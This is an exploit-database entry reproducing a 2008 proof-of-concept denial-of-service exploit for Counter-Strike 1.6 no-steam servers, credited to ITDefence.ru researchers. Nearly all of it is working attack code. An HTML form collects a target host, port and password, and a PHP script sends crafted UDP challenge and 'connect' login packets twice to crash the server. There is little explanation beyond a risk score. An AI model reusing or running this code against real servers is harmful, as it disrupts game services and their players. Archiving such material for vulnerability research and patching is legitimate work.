Half-Life CSTRIKE Server 1.6 Denial of Service Exploit (no-steam)

🗓️ 07 Jan 2008 00:00:00Reported by RootType
Half-Life CSTRIKE Server 1.6 Denial of Service Exploit (no-steam

                                                ----[&nbsp;&nbsp;Counter&nbsp;Strike&nbsp;1.6&nbsp;Denial&nbsp;Of&nbsp;Service&nbsp;POC&nbsp;...&nbsp;ITDefence.ru&nbsp;Antichat.ru&nbsp;]

							Counter&nbsp;Strike&nbsp;1.6&nbsp;Denial&nbsp;Of&nbsp;Service&nbsp;POC
								Eugene&nbsp;Minaev&nbsp;[email protected]
							Bug&nbsp;was&nbsp;found&nbsp;by&nbsp;Maxim&nbsp;Suhanov&nbsp;(&nbsp;THE&nbsp;FUF&nbsp;)
								works&nbsp;only&nbsp;with&nbsp;no-steam&nbsp;servers
				___________________________________________________________________
			____/&nbsp;&nbsp;__&nbsp;__&nbsp;_______________________&nbsp;_______&nbsp;&nbsp;_______________&nbsp;&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;\&nbsp;&nbsp;&nbsp;\
			/&nbsp;.\&nbsp;&nbsp;/&nbsp;&nbsp;/_//&nbsp;//&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;&nbsp;/__/&nbsp;&nbsp;&nbsp;/
			/&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/_//&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/___/
			\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/
			/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/__&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//\
			\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;____________/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;__________//&nbsp;/__&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;/&nbsp;&nbsp;&nbsp;
			/\\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\_______/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\________________/____/&nbsp;&nbsp;2007&nbsp;&nbsp;&nbsp;&nbsp;/_//_/&nbsp;&nbsp;&nbsp;//&nbsp;//\
			\&nbsp;\\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;//&nbsp;/
			.\&nbsp;\\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ITDEFENCE.ru&nbsp;Security&nbsp;advisory&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;]-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;//&nbsp;/&nbsp;.&nbsp;
			.&nbsp;\_\\________[________________________________________]_________//_//_/&nbsp;.&nbsp;.
		
		&lt;html&gt;
		&lt;head&gt;
		&lt;title&gt;Counter&nbsp;Strike&nbsp;DOS&nbsp;POC&nbsp;([email protected])&nbsp;&lt;/title&gt;

		&lt;style&nbsp;type=&quot;text/css&quot;&gt;

		input&nbsp;{
		width:&nbsp;150px;
		}

		td&nbsp;{
		font-size:&nbsp;12px;
		font-family:&nbsp;Verdana,&nbsp;&quot;Trebuchet&nbsp;MS&quot;;
		text-align:&nbsp;left;
		}

		span.err&nbsp;{
		color:&nbsp;red;
		}

		span.ok&nbsp;{
		color:&nbsp;green;
		}

		&lt;/style&gt;

		&lt;/head&gt;

		&lt;body&nbsp;onload=&quot;checkpass()&quot;&gt;

		&lt;div&nbsp;style=&quot;width:&nbsp;210px;&nbsp;margin:&nbsp;auto;&quot;&gt;
		&lt;form&nbsp;name=&quot;csform&quot;&nbsp;method=&quot;post&quot;&nbsp;action=&quot;cs.php&quot;&gt;

		&lt;table&nbsp;border=&quot;1&quot;&nbsp;align=&quot;center&quot;&nbsp;cellpadding=&quot;2&quot;&nbsp;cellspacing=&quot;0&quot;&nbsp;style=&quot;width:&nbsp;100%;&quot;&gt;
		&lt;tr&gt;
		&lt;td&nbsp;style=&quot;width:&nbsp;50px;&quot;&gt;Host&lt;/td&gt;
		&lt;td&nbsp;colspan=&quot;2&quot;&gt;&lt;input&nbsp;name=&quot;host&quot;&nbsp;type=&quot;text&quot;&nbsp;value=&quot;&quot;/&gt;&lt;/td&gt;
		&lt;/tr&gt;

		&lt;tr&gt;
		&lt;td&gt;Port&lt;/td&gt;
		&lt;td&nbsp;colspan=&quot;2&quot;&gt;&lt;input&nbsp;name=&quot;port&quot;&nbsp;type=&quot;text&quot;&nbsp;value=&quot;&quot;/&gt;&lt;/td&gt;
		&lt;/tr&gt;

		&lt;tr&gt;
		&lt;td&gt;&amp;nbsp;&lt;/td&gt;
		&lt;td&gt;&lt;input&nbsp;name=&quot;auth&quot;&nbsp;type=&quot;checkbox&quot;&nbsp;value=&quot;&quot;&nbsp;style=&quot;width:&nbsp;30px;&quot;/&gt;&lt;/td&gt;
		&lt;td&gt;Auth&nbsp;Type&nbsp;2&lt;/td&gt;
		&lt;/tr&gt;

		&lt;tr&gt;
		&lt;td&gt;Pass&lt;/td&gt;
		&lt;td&nbsp;colspan=&quot;2&quot;&gt;&lt;input&nbsp;name=&quot;pass&quot;&nbsp;type=&quot;text&quot;&nbsp;value=&quot;&quot;&nbsp;/&gt;&lt;/td&gt;
		&lt;/tr&gt;


		&lt;tr&gt;
		&lt;td&gt;&amp;nbsp;&lt;/td&gt;
		&lt;td&nbsp;colspan=&quot;2&quot;&gt;&lt;input&nbsp;type=&quot;submit&quot;&nbsp;Value=&quot;Run&quot;/&gt;&lt;/td&gt;
		&lt;/tr&gt;


		&lt;/table&gt;&nbsp;
		&lt;br/&gt;
		&lt;/form&gt;
		&lt;/div&gt;
		&lt;center&gt;ITDEFENCE&nbsp;/&nbsp;RUSSIA&nbsp;(http://itdefence.ru)&lt;br&gt;
		&lt;/body&gt;
		&lt;/html&gt;

		&lt;?php

		/*
		CS-dos&nbsp;exploit&nbsp;made&nbsp;by&nbsp;underwater&nbsp;
		Bug&nbsp;was&nbsp;discovered&nbsp;by&nbsp;.FUF&nbsp;&nbsp;
		Big&nbsp;respect&nbsp;2&nbsp;Sax-mmS&nbsp;(&nbsp;for&nbsp;html&nbsp;)&nbsp;,&nbsp;Focs&nbsp;(&nbsp;for&nbsp;his&nbsp;cs&nbsp;server&nbsp;[IMG]http://www.softoplanet.ru/style_emoticons/default/biggrin.gif[/IMG]&nbsp;)&nbsp;,&nbsp;SkvoznoY&nbsp;,&nbsp;Bug(O)R,Antichat.ru&nbsp;and&nbsp;Cup.su
		*/

		ini_set(&quot;display_errors&quot;,&quot;0&quot;);

		function&nbsp;HELLO_PACKET()
		{
		$packet&nbsp;=&nbsp;pack(&quot;H*&quot;,&quot;FFFFFFFF&quot;);
		$packet&nbsp;.=&nbsp;&quot;TSource&nbsp;Engine&nbsp;Query&quot;;
		$packet&nbsp;.=&nbsp;pack(&quot;H*&quot;,&quot;00&quot;);
		return&nbsp;$packet;
		}

		function&nbsp;CHALLENGE_PACKET()
		{
		$packet&nbsp;=&nbsp;pack(&quot;H*&quot;,&quot;FFFFFFFF&quot;);
		$packet&nbsp;.=&nbsp;&quot;getchallenge&nbsp;valve&quot;;
		$packet&nbsp;.=&nbsp;pack(&quot;H*&quot;,&quot;00&quot;);
		return&nbsp;$packet;
		}

		function&nbsp;LOGIN_PACKET_4()
		{
		global&nbsp;$cookie;
		global&nbsp;$password;
		$packet&nbsp;=&nbsp;pack(&quot;H*&quot;,&quot;FFFFFFFF&quot;);
		$packet&nbsp;.=&nbsp;&quot;connect&nbsp;47&nbsp;&quot;;
		$packet&nbsp;.=&nbsp;$cookie.'&nbsp;&quot;';
		$packet&nbsp;.=&nbsp;'\prot\4\unique\-1\raw\valve\cdkey\d506d189cf551620a70277a3d2c55bb2&quot;&nbsp;&quot;';
		$packet&nbsp;.=&nbsp;'\_cl_autowepswitch\1\bottomcolor\6\cl_dlmax\128\cl_lc\1\cl_lw\1\cl_updaterate\30\mod';
		$packet&nbsp;.=&nbsp;'el\gordon\name\Born&nbsp;to&nbsp;be&nbsp;pig&nbsp;(..)\topcolor\30\_vgui_menus\1\_ah\1\rate\3500\*fid\0\pass';
		$packet&nbsp;.=&nbsp;'word\\'.$password;
		$packet&nbsp;.=&nbsp;pack(&quot;H*&quot;,&quot;220A0000EE02&quot;);
		return&nbsp;$packet;
		}

		function&nbsp;LOGIN_PACKET_2()
		{
		global&nbsp;$cookie;
		global&nbsp;$password;
		$packet&nbsp;=&nbsp;pack(&quot;H*&quot;,&quot;FFFFFFFF&quot;);
		$packet&nbsp;.=&nbsp;&quot;connect&nbsp;47&nbsp;&quot;;
		$packet&nbsp;.=&nbsp;$cookie.'&nbsp;&quot;';
		$packet&nbsp;.=&nbsp;'\prot\2\raw\d506d189cf551620a70277a3d2c55bb2&quot;&nbsp;&quot;\_cl_autowepswitch\1\bott';
		$packet&nbsp;.=&nbsp;'omcolor\6\cl_dlmax\128\cl_lc\1\cl_lw\1\cl_updaterate\30\model\gordon\nam';
		$packet&nbsp;.=&nbsp;'e\Born&nbsp;to&nbsp;be&nbsp;pig&nbsp;(..)\topcolor\30\_vgui_menus\1\_ah\1\rate\3500\*fid\0\pass';
		$packet&nbsp;.=&nbsp;'word\\'.$password;
		$packet&nbsp;.=&nbsp;pack(&quot;H*&quot;,&quot;22&quot;);
		return&nbsp;$packet;
		}

		function&nbsp;dowork($host,$port,$password,$auth)
		{
		global&nbsp;$password;
		global&nbsp;$cookie;
		#&nbsp;connecting&nbsp;to&nbsp;target&nbsp;host
		$fsock&nbsp;=&nbsp;fsockopen(&quot;udp://&quot;.$host,(int)&nbsp;$port,$errnum,$errstr,2);
		if&nbsp;(!$fsock)&nbsp;die&nbsp;($errstr);
		else&nbsp;
		{
		#&nbsp;sending&nbsp;hello&nbsp;packet
		fwrite&nbsp;($fsock,HELLO_PACKET());
		fread&nbsp;($fsock,100);
		#&nbsp;sending&nbsp;chalennge&nbsp;packet
		fwrite&nbsp;($fsock,CHALLENGE_PACKET());
		#&nbsp;recieving&nbsp;cookies
		$resp&nbsp;=&nbsp;fread($fsock,100);
		#&nbsp;grab&nbsp;cookies&nbsp;from&nbsp;packet
		$cookie&nbsp;=&nbsp;substr($resp,strpos($resp,&quot;A00000000&quot;)+10);
		$cookie&nbsp;=&nbsp;substr($cookie,0,strpos($cookie,&quot;&nbsp;&quot;));
		#&nbsp;sending&nbsp;login&nbsp;packet
		if&nbsp;(!$auth)&nbsp;fwrite&nbsp;(&nbsp;$fsock,LOGIN_PACKET_4());else&nbsp;fwrite&nbsp;(&nbsp;$fsock,LOGIN_PACKET_2());
		$resp&nbsp;=&nbsp;fread($fsock,100);
		}
		}

		IF&nbsp;(isset($_POST['host'])&nbsp;&amp;&amp;&nbsp;isset($_POST['port']))
		{
		IF&nbsp;(empty($_POST['pass']))&nbsp;$password&nbsp;=&nbsp;&quot;123&quot;;
		else&nbsp;$password&nbsp;=&nbsp;$_POST['pass'];
		$fserver&nbsp;=&nbsp;$_POST['host'];
		$fport&nbsp;=&nbsp;$_POST['port'];
		if&nbsp;(isset($_POST['auth']))&nbsp;$fauth&nbsp;=&nbsp;true;else&nbsp;$fauth=false;
		#&nbsp;we&nbsp;have&nbsp;to&nbsp;connect&nbsp;2&nbsp;times
		$result&nbsp;=&nbsp;dowork($fserver,$fport,$password,$fauth);
		$result&nbsp;=&nbsp;dowork($fserver,$fport,$password,$fauth);
		#&nbsp;parsing&nbsp;result
		echo&nbsp;&quot;Exploit&nbsp;Sent&quot;;
		}
		?&gt;

----[&nbsp;FROM&nbsp;RUSSIA&nbsp;WITH&nbsp;LOVE&nbsp;::&nbsp;underWHAT?!&nbsp;,&nbsp;gemaglabin&nbsp;]
07 Jan 2008 00:00Current
7.1High risk
Vulners AI Score7.1